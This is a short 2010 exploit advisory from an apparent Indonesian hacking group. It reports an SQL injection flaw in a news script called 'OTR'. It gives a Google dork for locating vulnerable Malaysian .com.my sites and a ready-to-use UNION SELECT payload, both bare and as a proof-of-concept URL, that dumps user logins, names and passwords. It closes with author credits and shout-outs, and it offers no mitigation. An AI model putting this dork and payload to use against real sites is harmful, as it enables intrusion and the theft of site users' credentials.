*************************************************************************                             
 |       ,---. ,   . |---. ,---. ,---.   ,---. ,---. ,---. ,   .   ,
 |  ---  |     |   | |   | |---' |       |     |     |---' |   |   |
 |       `---' `---| `---' `---' `       `---' `     `---' `---`---
 `             `---'                                                  
*************************************************************************
[V] OTR SQL Injection Vulnerability
 
            --==[ Author ]==--

[+] Author  : v4lc0m87
[+] Contact : valcom87[at]gmail[dot]com
[+] Group   : INDONESIAN CYBER
[+] Site    : http://indonesian-cyber.org/
[+] Date    : June, 7-2010 [INDONESIA]
 
*************************************************************************
            --==[ Details ]==--
 
[+] Vulnerable  : SQL Injection
[+] Google Dork : inurl:latestnews.php?id= ontheroad site:com.my
 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
[-] Exploit :
[+] -666/**/union/**/select/**/6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,concat_ws(USR_LOGIN,0x3a,USR_NAME,0x3a,USR_PASSWORD)/**/from/**/user+v4lc0m87--
 
[-] Remote SQLi p0c :
[+] http://127.0.0.1/latestnews.php?id=-666/**/union/**/select/**/6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,concat_ws(USR_LOGIN,0x3a,USR_NAME,0x3a,USR_PASSWORD)/**/from/**/user+v4lc0m87--
     
 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
INDONESIAN-CYBER.ORG
 
[V] Greetz :
SaruKusai, MarilynMesum
Team m0n0n banci kamera(clase_1214n,c4uR,astroboyyy,aldy182,vhesckot_1601)
Bocah tua nakal (mbah l4mpor,awchoy)
flyff666 cruz3N petimati spykit v3n0m uzanc
kokoh wisdom, blue screen, skutengboy (kalian pasangan yg serasi juga loh, jikakakakakk)
[K]urabu[S]aru [RnR] cO2 community
and y0u !!

[V] BIG THANKZ :
DEVILZC0DE.ORG | INDONESIANHACKER.ORG | HACKER-CISADANE.ORG | IDC